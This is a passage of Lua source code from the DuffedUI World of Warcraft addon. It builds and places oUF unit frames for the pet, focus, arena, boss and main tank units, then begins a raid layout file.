panel:SetBackdropBorderColor(unpack(C["media"].bordercolor))
panel:SetAlpha(0)
self.panel = panel
local health = CreateFrame("StatusBar", nil, self)
health:Height(17)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
self.Health = health
self.Health.bg = healthBG
health.PostUpdate = D.PostUpdatePetColor
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorTapping = false
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorTapping = true
health.colorClass = true
health.colorReaction = true
end
local power = CreateFrame("StatusBar", nil, self)
power:Height(3)
power:Point("TOPLEFT", health, "BOTTOMLEFT", 9, 1)
power:Point("TOPRIGHT", health, "BOTTOMRIGHT", -9, -2)
power:SetStatusBarTexture(normTex)
power:SetFrameLevel(self.Health:GetFrameLevel() + 2)
local PowerBorder = CreateFrame("Frame", nil, power)
PowerBorder:SetPoint("TOPLEFT", power, "TOPLEFT", D.Scale(-2), D.Scale(2))
PowerBorder:SetPoint("BOTTOMRIGHT", power, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
PowerBorder:SetTemplate("Default")
PowerBorder:SetFrameLevel(power:GetFrameLevel() - 1)
self.PowerBorder = PowerBorder
power.frequentUpdates = true
if C["unitframes"].showsmooth == true then power.Smooth = true end
local powerBG = power:CreateTexture(nil, "BORDER")
powerBG:SetAllPoints(power)
powerBG:SetTexture(normTex)
powerBG.multiplier = 0.3
if C["unitframes"].unicolor == true then
power.colorTapping = true
power.colorClass = true
else
power.colorPower = true
end
self.Power = power
self.Power.bg = powerBG
if C["unitframes"].showsmooth == true then power.Smooth = true end
local Name = health:CreateFontString(nil, "OVERLAY")
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:nameshort] [DuffedUI:diffcolor][level] [shortclassification]")
Name:SetPoint("CENTER", health, "CENTER", 2, 2)
Name:SetJustifyH("CENTER")
Name:SetFontObject(font)
Name:SetShadowColor(0, 0, 0)
Name:SetShadowOffset(1.25, -1.25)
self.Name = Name
if C["unitframes"].totdebuffs == true and (unit == "targettarget") then
local debuffs = CreateFrame("Frame", nil, health)
debuffs:Height(20)
debuffs:Width(300)
debuffs.size = C["unitframes"].totdbsize
debuffs.spacing = 3
debuffs.num = 5
debuffs:Point("TOPLEFT", health, "TOPLEFT", -1.5, 24)
debuffs.initialAnchor = "TOPLEFT"
debuffs["growth-y"] = "UP"
debuffs.PostCreateIcon = D.PostCreateAura
debuffs.PostUpdateIcon = D.PostUpdateAura
self.Debuffs = debuffs
end
if (C["castbar"].enable == true) and (unit == "pet") then
local castbar = CreateFrame("StatusBar", self:GetName().."CastBar", self)
castbar:SetStatusBarTexture(normTex)
castbar:Height(3)
self.Castbar = castbar
castbar:Point("TOPLEFT", health, "BOTTOMLEFT", 0, 16)
castbar:Point("TOPRIGHT", health, "BOTTOMRIGHT", 0, 16)
castbar.bg = castbar:CreateTexture(nil, "BORDER")
castbar.bg:SetTexture(normTex)
castbar.bg:SetVertexColor(0, 0, 0)
castbar:SetFrameLevel(6)
castbar.CustomTimeText = D.CustomTimeText
castbar.CustomDelayText = D.CustomDelayText
castbar.PostCastStart = D.CastBar
castbar.PostChannelStart = D.CastBar
self.Castbar.Time = castbar.time
end
self:RegisterEvent("UNIT_PET", D.updateAllElements)
end
--[[Focus]]--
if (unit == "focus") then
local health = CreateFrame("StatusBar", nil, self)
health:Height(17)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
health.frequentUpdates = true
health.colorDisconnected = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
health.colorClass = true
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
health.value =health:CreateFontString(nil, "OVERLAY")
health.value:SetFontObject(font)
health.value:Point("RIGHT", 0, 1)
health.PostUpdate = D.PostUpdateHealth
self.Health = health
self.Health.bg = healthBG
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
end
local power = CreateFrame("StatusBar", nil, self)
power:Height(3)
power:Point("TOPLEFT", health, "BOTTOMLEFT", 85, 0)
power:Point("TOPRIGHT", health, "BOTTOMRIGHT", -9, -3)
power:SetStatusBarTexture(normTex)
power:SetFrameLevel(self.Health:GetFrameLevel() + 2)
local PowerBorder = CreateFrame("Frame", nil, power)
PowerBorder:SetPoint("TOPLEFT", power, "TOPLEFT", D.Scale(-2), D.Scale(2))
PowerBorder:SetPoint("BOTTOMRIGHT", power, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
PowerBorder:SetTemplate("Default")
PowerBorder:SetFrameLevel(power:GetFrameLevel() - 1)
self.PowerBorder = PowerBorder
power.frequentUpdates = true
power.colorPower = true
if C["unitframes"].showsmooth == true then power.Smooth = true end
local powerBG = power:CreateTexture(nil, "BORDER")
powerBG:SetAllPoints(power)
powerBG:SetTexture(normTex)
powerBG.multiplier = 0.3
self.Power = power
self.Power.bg = powerBG
local Name = health:CreateFontString(nil, "OVERLAY")
Name:SetPoint("LEFT", health, "LEFT", 2, 0)
Name:SetJustifyH("CENTER")
Name:SetFontObject(font)
Name:SetShadowColor(0, 0, 0)
Name:SetShadowOffset(1.25, -1.25)
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:namelong]")
self.Name = Name
if C["unitframes"].focusdebuffs then
local debuffs = CreateFrame("Frame", nil, self)
debuffs:SetHeight(30)
debuffs:SetWidth(200)
debuffs:Point("RIGHT", self, "LEFT", -4, 10)
debuffs.size = 28
debuffs.num = 4
debuffs.spacing = 2
debuffs.initialAnchor = "RIGHT"
debuffs["growth-x"] = "LEFT"
debuffs.PostCreateIcon = D.PostCreateAura
debuffs.PostUpdateIcon = D.PostUpdateAura
self.Debuffs = debuffs
end
local castbar = CreateFrame("StatusBar", self:GetName().."CastBar", self)
castbar:SetStatusBarTexture(normTex)
castbar:SetFrameLevel(10)
castbar:Height(10)
castbar:Width(201)
castbar:SetPoint("LEFT", 8, 0)
castbar:SetPoint("RIGHT", -16, 0)
castbar:SetPoint("BOTTOM", 0, -12)
castbar:CreateBackdrop()
castbar.time = castbar:CreateFontString(nil, "OVERLAY")
castbar.time:SetFontObject(font)
castbar.time:Point("RIGHT", castbar, "RIGHT", -4, 0)
castbar.time:SetTextColor(0.84, 0.75, 0.65)
castbar.time:SetJustifyH("RIGHT")
castbar.CustomTimeText = D.CustomTimeText
castbar.Text = castbar:CreateFontString(nil, "OVERLAY")
castbar.Text:SetFontObject(font)
castbar.Text:SetPoint("LEFT", castbar, "LEFT", 4, 0)
castbar.Text:SetTextColor(0.84, 0.75, 0.65)
castbar.CustomDelayText = D.CustomDelayText
castbar.PostCastStart = D.CastBar
castbar.PostChannelStart = D.CastBar
castbar.button = CreateFrame("Frame", nil, castbar)
castbar.button:Height(castbar:GetHeight()+4)
castbar.button:Width(castbar:GetHeight()+4)
castbar.button:Point("LEFT", castbar, "RIGHT", 4, 0)
castbar.button:SetTemplate("Default")
castbar.icon = castbar.button:CreateTexture(nil, "ARTWORK")
castbar.icon:Point("TOPLEFT", castbar.button, 2, -2)
castbar.icon:Point("BOTTOMRIGHT", castbar.button, -2, 2)
castbar.icon:SetTexCoord(0.08, 0.92, 0.08, .92)
self.Castbar = castbar
self.Castbar.Icon = castbar.icon
self.Castbar.Time = castbar.time
end
--[[Focus Target]]--
if (unit == "focustarget") then
local health = CreateFrame("StatusBar", nil, self)
health:Height(10)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
health.frequentUpdates = true
health.colorDisconnected = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
health.colorClass = true
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
self.Health = health
self.Health.bg = healthBG
health.PostUpdate = D.PostUpdatePetColor
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
end
local Name = health:CreateFontString(nil, "OVERLAY")
Name:SetPoint("CENTER", health, "CENTER", 0, -1)
Name:SetJustifyH("CENTER")
Name:SetFontObject(font)
Name:SetShadowColor(0, 0, 0)
Name:SetShadowOffset(1.25, -1.25)
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:nameshort]")
self.Name = Name
end
--[[Arena- / Boss-Frames]]--
if (unit and unit:find("arena%d") and C["raid"].arena == true) or (unit and unit:find("boss%d") and C["raid"].showboss == true) then
self:SetAttribute("type2", "togglemenu")
local health = CreateFrame("StatusBar", nil, self)
health:Height(22)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
health.frequentUpdates = true
health.colorDisconnected = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
health.colorClass = true
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
health.value = health:CreateFontString(nil, "OVERLAY")
health.value:SetFontObject(font)
health.value:Point("LEFT", 2, 0.5)
health.PostUpdate = D.PostUpdateHealth
self.Health = health
self.Health.bg = healthBG
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
end
local power = CreateFrame("StatusBar", nil, self)
power:Height(3)
power:Point("TOPLEFT", health, "BOTTOMLEFT", 85, 0)
power:Point("TOPRIGHT", health, "BOTTOMRIGHT", -9, -3)
power:SetStatusBarTexture(normTex)
power:SetFrameLevel(self.Health:GetFrameLevel() + 2)
local PowerBorder = CreateFrame("Frame", nil, power)
PowerBorder:SetPoint("TOPLEFT", power, "TOPLEFT", D.Scale(-2), D.Scale(2))
PowerBorder:SetPoint("BOTTOMRIGHT", power, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
PowerBorder:SetTemplate("Default")
PowerBorder:SetFrameLevel(power:GetFrameLevel() - 1)
self.PowerBorder = PowerBorder
power.frequentUpdates = true
power.colorPower = true
if C["unitframes"].showsmooth == true then power.Smooth = true end
local powerBG = power:CreateTexture(nil, "BORDER")
powerBG:SetAllPoints(power)
powerBG:SetTexture(normTex)
powerBG.multiplier = 0.3
power.value = power:CreateFontString(nil, "OVERLAY")
power.value:SetFontObject(font)
power.value:Point("RIGHT", health, -2, 0.5)
power.PreUpdate = D.PreUpdatePower
power.PostUpdate = D.PostUpdatePower
self.Power = power
self.Power.bg = powerBG
local Name = health:CreateFontString(nil, "OVERLAY")
Name:SetPoint("CENTER", health, "CENTER", 0, 1)
Name:SetJustifyH("CENTER")
Name:SetFontObject(font)
Name:SetShadowColor(0, 0, 0)
Name:SetShadowOffset(1.25, -1.25)
Name.frequentUpdates = 0.2
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:nameshort]")
self.Name = Name
if (unit and unit:find("boss%d")) then
local AltPowerBar = CreateFrame("StatusBar", nil, self.Health)
AltPowerBar:SetFrameLevel(self.Health:GetFrameLevel() + 1)
AltPowerBar:Height(4)
AltPowerBar:SetStatusBarTexture(C["media"].normTex)
AltPowerBar:GetStatusBarTexture():SetHorizTile(false)
AltPowerBar:SetStatusBarColor(1, 0, 0)
AltPowerBar:SetPoint("LEFT")
AltPowerBar:SetPoint("RIGHT")
AltPowerBar:SetPoint("TOP", self.Health, "TOP")
AltPowerBar:SetBackdrop(backdrop)
AltPowerBar:SetBackdropColor(0, 0, 0)
self.AltPowerBar = AltPowerBar
local buffs = CreateFrame("Frame", nil, self)
buffs:SetHeight(26)
buffs:SetWidth(252)
buffs:Point("TOPRIGHT", self, "TOPLEFT", -5, 2)
buffs.size = 26
buffs.num = 3
buffs.spacing = 3
buffs.initialAnchor = "RIGHT"
buffs["growth-x"] = "LEFT"
buffs.PostCreateIcon = D.PostCreateAura
buffs.PostUpdateIcon = D.PostUpdateAura
self.Buffs = buffs
self:HookScript("OnShow", D.updateAllElements)
end
local debuffs = CreateFrame("Frame", nil, self)
debuffs:SetHeight(26)
debuffs:SetWidth(200)
debuffs:SetPoint("TOPLEFT", self, "TOPRIGHT", D.Scale(5), 2)
debuffs.size = 26
debuffs.num = 4
debuffs.spacing = 3
debuffs.initialAnchor = "LEFT"
debuffs["growth-x"] = "RIGHT"
debuffs.PostCreateIcon = D.PostCreateAura
debuffs.PostUpdateIcon = D.PostUpdateAura
debuffs.onlyShowPlayer = true
self.Debuffs = debuffs
if C["raid"].arena and (unit and unit:find("arena%d")) then
local Trinket = CreateFrame("Frame", nil, self)
Trinket:Size(26)
Trinket:SetPoint("TOPRIGHT", self, "TOPLEFT", -5, 2)
Trinket:CreateBackdrop("Default")
Trinket.trinketUseAnnounce = true
self.Trinket = Trinket
end
local castbar = CreateFrame("StatusBar", self:GetName().."CastBar", self)
castbar:SetHeight(12)
castbar:SetStatusBarTexture(normTex)
castbar:SetFrameLevel(10)
castbar:SetPoint("LEFT", 23, -1)
castbar:SetPoint("RIGHT", 0, -1)
castbar:SetPoint("BOTTOM", 0, -21)
castbar:CreateBackdrop()
castbar.Text = castbar:CreateFontString(nil, "OVERLAY")
castbar.Text:SetFontObject(font)
castbar.Text:Point("LEFT", castbar, "LEFT", 4, 0)
castbar.Text:SetTextColor(0.84, 0.75, 0.65)
castbar.time = castbar:CreateFontString(nil, "OVERLAY")
castbar.time:SetFontObject(font)
castbar.time:Point("RIGHT", castbar, "RIGHT", -4, 0)
castbar.time:SetTextColor(0.84, 0.75, 0.65)
castbar.time:SetJustifyH("RIGHT")
castbar.CustomTimeText = D.CustomTimeText
castbar.CustomDelayText = D.CustomDelayText
castbar.PostCastStart = D.CastBar
castbar.PostChannelStart = D.CastBar
castbar.button = CreateFrame("Frame", nil, castbar)
castbar.button:SetTemplate("Default")
castbar.button:Size(16, 16)
castbar.button:Point("BOTTOMRIGHT", castbar, "BOTTOMLEFT",-5,-2)
castbar.icon = castbar.button:CreateTexture(nil, "ARTWORK")
castbar.icon:Point("TOPLEFT", castbar.button, 2, -2)
castbar.icon:Point("BOTTOMRIGHT", castbar.button, -2, 2)
castbar.icon:SetTexCoord(0.08, 0.92, 0.08, .92)
self.Castbar = castbar
self.Castbar.Icon = castbar.icon
self.Castbar.Time = castbar.time
end
--[[Maintanks]]--
if(self:GetParent():GetName():match"DuffedUIMainTank" or self:GetParent():GetName():match"DuffedUIMainAssist") then
self:SetAttribute("type2", "focus")
local health = CreateFrame("StatusBar", nil, self)
health:Height(20)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
self.Health = health
self.Health.bg = healthBG
health.PostUpdate = D.PostUpdatePetColor
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
end
local Name = health:CreateFontString(nil, "OVERLAY")
Name:SetPoint("CENTER", health, "CENTER", 0, 1)
Name:SetJustifyH("CENTER")
Name:SetFontObject(font)
Name:SetShadowColor(0, 0, 0)
Name:SetShadowOffset(1.25, -1.25)
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:nameshort]")
self.Name = Name
end
return self
end
--[[Default Position]]--
if C["unitframes"].totdebuffs then totdebuffs = 24 end
oUF:RegisterStyle("DuffedUI", Shared)
local player = oUF:Spawn("player", "DuffedUIPlayer")
player:SetParent(DuffedUIPetBattleHider)
player:Point("BOTTOM", UIParent, "BOTTOM", -340, 225)
player:Size(218, 44)
local target = oUF:Spawn("target", "DuffedUITarget")
target:SetParent(DuffedUIPetBattleHider)
target:Point("BOTTOM", UIParent, "BOTTOM", 340, 225)
target:Size(218, 44)
if C["unitframes"].Enable_ToT then
local tot = oUF:Spawn("targettarget", "DuffedUITargetTarget")
if C["raid"].center then tot:SetPoint("TOPRIGHT", DuffedUITarget, "BOTTOMLEFT", 129, -2) else tot:SetPoint("TOPRIGHT", DuffedUITarget, "BOTTOMLEFT", 0, -2) end
tot:Size(129, 36)
end
local pet = oUF:Spawn("pet", "DuffedUIPet")
pet:SetParent(DuffedUIPetBattleHider)
if C["raid"].center then pet:SetPoint("TOPLEFT", DuffedUIPlayer, "BOTTOMRIGHT", -129, -2) else pet:SetPoint("TOPLEFT", DuffedUIPlayer, "BOTTOMRIGHT", 0, -2) end
pet:Size(129, 36)
local focus = oUF:Spawn("focus", "DuffedUIFocus")
focus:SetParent(DuffedUIPetBattleHider)
focus:SetPoint("BOTTOMLEFT", InvDuffedUIActionBarBackground, "BOTTOM", 275, 500)
focus:Size(200, 30)
local focustarget = oUF:Spawn("focustarget", "DuffedUIFocusTarget")
focustarget:SetPoint("TOPRIGHT", focus, "BOTTOMLEFT", 0, -2)
focustarget:Size(75, 10)
if C["raid"].arena then
local arena = {}
for i = 1, 5 do
arena[i] = oUF:Spawn("arena"..i, "DuffedUIArena"..i)
arena[i]:SetParent(DuffedUIPetBattleHider)
if i == 1 then arena[i]:SetPoint("RIGHT", UIParent, "RIGHT", -163, -250) else arena[i]:SetPoint("BOTTOM", arena[i-1], "TOP", 0, 35) end
arena[i]:Size(200, 27)
end
local DuffedUIPrepArena = {}
for i = 1, 5 do
DuffedUIPrepArena[i] = CreateFrame("Frame", "DuffedUIPrepArena"..i, UIParent)
DuffedUIPrepArena[i]:SetAllPoints(arena[i])
DuffedUIPrepArena[i]:SetBackdrop(backdrop)
DuffedUIPrepArena[i]:SetBackdropColor(0,0,0)
DuffedUIPrepArena[i].Health = CreateFrame("StatusBar", nil, DuffedUIPrepArena[i])
DuffedUIPrepArena[i].Health:SetAllPoints()
DuffedUIPrepArena[i].Health:SetStatusBarTexture(normTex)
DuffedUIPrepArena[i].Health:SetStatusBarColor(.3, .3, .3, 1)
DuffedUIPrepArena[i].SpecClass = DuffedUIPrepArena[i].Health:CreateFontString(nil, "OVERLAY")
DuffedUIPrepArena[i].SpecClass:SetFontObject(font)
DuffedUIPrepArena[i].SpecClass:SetPoint("CENTER")
DuffedUIPrepArena[i]:Hide()
end
local ArenaListener = CreateFrame("Frame", "DuffedUIArenaListener", UIParent)
ArenaListener:RegisterEvent("PLAYER_ENTERING_WORLD")
ArenaListener:RegisterEvent("ARENA_PREP_OPPONENT_SPECIALIZATIONS")
ArenaListener:RegisterEvent("ARENA_OPPONENT_UPDATE")
ArenaListener:SetScript("OnEvent", function(self, event)
if event == "ARENA_OPPONENT_UPDATE" then
for i=1, 5 do
local f = _G["DuffedUIPrepArena"..i]
f:Hide()
end
else
local numOpps = GetNumArenaOpponentSpecs()
if numOpps > 0 then
for i=1, 5 do
local f = _G["DuffedUIPrepArena"..i]
local s = GetArenaOpponentSpec(i)
local _, spec, class = nil, "UNKNOWN", "UNKNOWN"
if s and s > 0 then
_, spec, _, _, _, _, class = GetSpecializationInfoByID(s)
end
if (i <= numOpps) then
if class and spec then
f.SpecClass:SetText(spec.." - "..LOCALIZED_CLASS_NAMES_MALE[class])
if not C["unitframes"].unicolor then
local color = arena[i].colors.class[class]
f.Health:SetStatusBarColor(unpack(color))
end
f:Show()
end
else
f:Hide()
end
end
else
for i=1, 5 do
local f = _G["DuffedUIPrepArena"..i]
f:Hide()
end
end
end
end)
end
if C["raid"].showboss then
for i = 1, MAX_BOSS_FRAMES do
local t_boss = _G["Boss"..i.."TargetFrame"]
t_boss:UnregisterAllEvents()
t_boss.Show = D.Dummy
t_boss:Hide()
_G["Boss"..i.."TargetFrame".."HealthBar"]:UnregisterAllEvents()
_G["Boss"..i.."TargetFrame".."ManaBar"]:UnregisterAllEvents()
end
local boss = {}
for i = 1, MAX_BOSS_FRAMES do
boss[i] = oUF:Spawn("boss"..i, "DuffedUIBoss"..i)
boss[i]:SetParent(DuffedUIPetBattleHider)
if i == 1 then boss[i]:SetPoint("RIGHT", UIParent, "RIGHT", -163, -250) else boss[i]:SetPoint("BOTTOM", boss[i-1], "TOP", 0, 35) end
boss[i]:Size(200, 27)
end
end
local assisttank_width = 90
local assisttank_height = 20
if C["raid"].maintank == true then
local tank = oUF:SpawnHeader("DuffedUIMainTank", nil, "raid",
"oUF-initialConfigFunction", ([[
self:SetWidth(%d)
self:SetHeight(%d)
]]):format(assisttank_width, assisttank_height),
"showRaid", true,
"groupFilter", "MAINTANK",
"yOffset", 7,
"point" , "BOTTOM",
"template", "oUF_DuffedUIMtt"
)
tank:SetParent(DuffedUIPetBattleHider)
if C["chat"].rbackground then tank:SetPoint("TOPLEFT", DuffedUIChatBackgroundRight, "TOPLEFT", 2, 52) else tank:SetPoint("TOPLEFT", ChatFrame4, "TOPLEFT", 2, 62) end
end
if C["raid"].mainassist == true then
local assist = oUF:SpawnHeader("DuffedUIMainAssist", nil, "raid",
"oUF-initialConfigFunction", ([[
self:SetWidth(%d)
self:SetHeight(%d)
]]):format(assisttank_width, assisttank_height),
"showRaid", true,
"groupFilter", "MAINASSIST",
"yOffset", 7,
"point" , "BOTTOM",
"template", "oUF_DuffedUIMtt"
)
assist:SetParent(DuffedUIPetBattleHider)
if C["raid"].maintank == true then assist:SetPoint("TOPLEFT", DuffedUIMainTank, "BOTTOMLEFT", 2, -50) else assist:SetPoint("CENTER", UIParent, "CENTER", 0, 0) end
end
local party = oUF:SpawnHeader("oUF_noParty", nil, "party", "showParty", true)<file_sep>/DuffedUI/modules/unitframes/groups/raid_dps.lua
local D, C, L = unpack(select(2, ...))
if (C["raid"].enable ~= true or C["raid"].layout == "heal") then return end
--[[oUF]]--
local ADDON_NAME, ns = ...
local oUF = oUFDuffedUI or oUF
assert(oUF, "DuffedUI was unable to locate oUF install.")
ns._Objects = {}
ns._Headers = {}
--[[Locals]]--
local font = D.Font(C["font"].unitframes)
local texture = C["media"].normTex
local FrameScale = C["raid"].FrameScaleRaid
local backdrop = {
bgFile = C["media"].blank,
insets = {top = -D.mult, left = -D.mult, bottom = -D.mult, right = -D.mult},
}
local function Shared(self, unit)
self.colors = D.oUF_colors
self:RegisterForClicks("AnyUp")
self:SetScript("OnEnter", UnitFrame_OnEnter)
self:SetScript("OnLeave", UnitFrame_OnEnter)
--[[Health]]--
local health = CreateFrame("Statusbar", nil, self)
health:Point("TOPLEFT", self, "BOTTOMLEFT", 0, 15)
health:Point("TOPRIGHT", self, "BOTTOMRIGHT", 0, 15)
health:Height(15 * FrameScale)
health:Width(140 * FrameScale)
health:SetStatusBarTexture(texture)
health:CreateBackdrop()
health.bg = health:CreateTexture(nil, "BORDER")
health.bg:SetAllPoints(health)
health.bg:SetTexture(texture)
health.bg.multiplier = .3
health.value = health:CreateFontString(nil, "OVERLAY")
health.value:Point("LEFT", health, 8, 0)
health.value:SetFontObject(font)
self.Health = health
self.Health.bg = health.bg
self.Health.value = health.value
health.PostUpdate = D.PostUpdateHealthRaid
health.frequentUpdates = true
if C["unitframes"].unicolor then
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
health.bg:SetVertexColor(unpack(C["unitframes"].deficitcolor))
health.bg:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
health.bg:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorClass = true
health.colorReaction = true
health.bg:SetTexture(.1, .1, .1)
end
--[[Power]]--
if not C["raid"].HidePower then
local power = CreateFrame("Statusbar", nil, self)
power:Height(2)
power:Point("TOPLEFT", health, "BOTTOMLEFT", 0, 2)
power:Point("TOPRIGHT", health, "BOTTOMRIGHT", 0, 2)
power:SetStatusBarTexture(texture)
power:SetFrameLevel(health:GetFrameLevel() + 1)
power.colorClass = true
self.Power = power
power.bg = self.Power:CreateTexture(nil, "BORDER")
power.bg:SetAllPoints(power)
power.bg:SetTexture(texture)
power.bg:SetAlpha(1)
power.bg.multiplier = .3
self.Power.bg = power.bg
power.frequentUpdates = true
power.colorDisconnected = false
end
--[[Panel]]--
local panel = CreateFrame("Frame", nil, self)
panel:SetTemplate("Default")
panel:Size(1, 1)
panel:Point("TOPLEFT", health, "TOPLEFT", -2, 2)
panel:Point("BOTTOMRIGHT", health, "BOTTOMRIGHT", 2, -2)
self.panel = panel
--[[Elements]]--
local name = health:CreateFontString(nil, "OVERLAY")
name:SetFontObject(font)
if C["raid"].NameOutside then name:Point("LEFT", health, "RIGHT", 5, 0) else name:Point("RIGHT", health, -5, 0) end
if C["unitframes"].unicolor then self:Tag(name, "[DuffedUI:getnamecolor][DuffedUI:namemedium]") else self:Tag(name, "[DuffedUI:namemedium]") end
self.Name = name
if C["raid"].showsymbols == true then
RaidIcon = health:CreateTexture(nil, "OVERLAY")
RaidIcon:Height(14)
RaidIcon:Width(14)
RaidIcon:SetPoint("CENTER", self, "CENTER")
RaidIcon:SetTexture("Interface\\AddOns\\DuffedUI\\medias\\textures\\raidicons.blp")
self.RaidIcon = RaidIcon
end
if C["raid"].aggro then
table.insert(self.__elements, D.UpdateThreat)
self:RegisterEvent("PLAYER_TARGET_CHANGED", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_LIST_UPDATE", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_SITUATION_UPDATE", D.UpdateThreat)
end
local LFDRole = health:CreateTexture(nil, "OVERLAY")
LFDRole:Height(15)
LFDRole:Width(15)
LFDRole:Point("TOPLEFT", -2, 0)
self.LFDRole = LFDRole
local Resurrect = CreateFrame("Frame", nil, self)
Resurrect:SetFrameLevel(20)
local ResurrectIcon = Resurrect:CreateTexture(nil, "OVERLAY")
ResurrectIcon:Point("CENTER", health, 0, -1)
ResurrectIcon:Size(10, 10)
ResurrectIcon:SetDrawLayer("OVERLAY", 7)
self.ResurrectIcon = ResurrectIcon
local ReadyCheck = health:CreateTexture(nil, "OVERLAY")
ReadyCheck:Height(12)
ReadyCheck:Width(12)
ReadyCheck:SetPoint("CENTER")
self.ReadyCheck = ReadyCheck
local leader = self.Health:CreateTexture(nil, "OVERLAY")
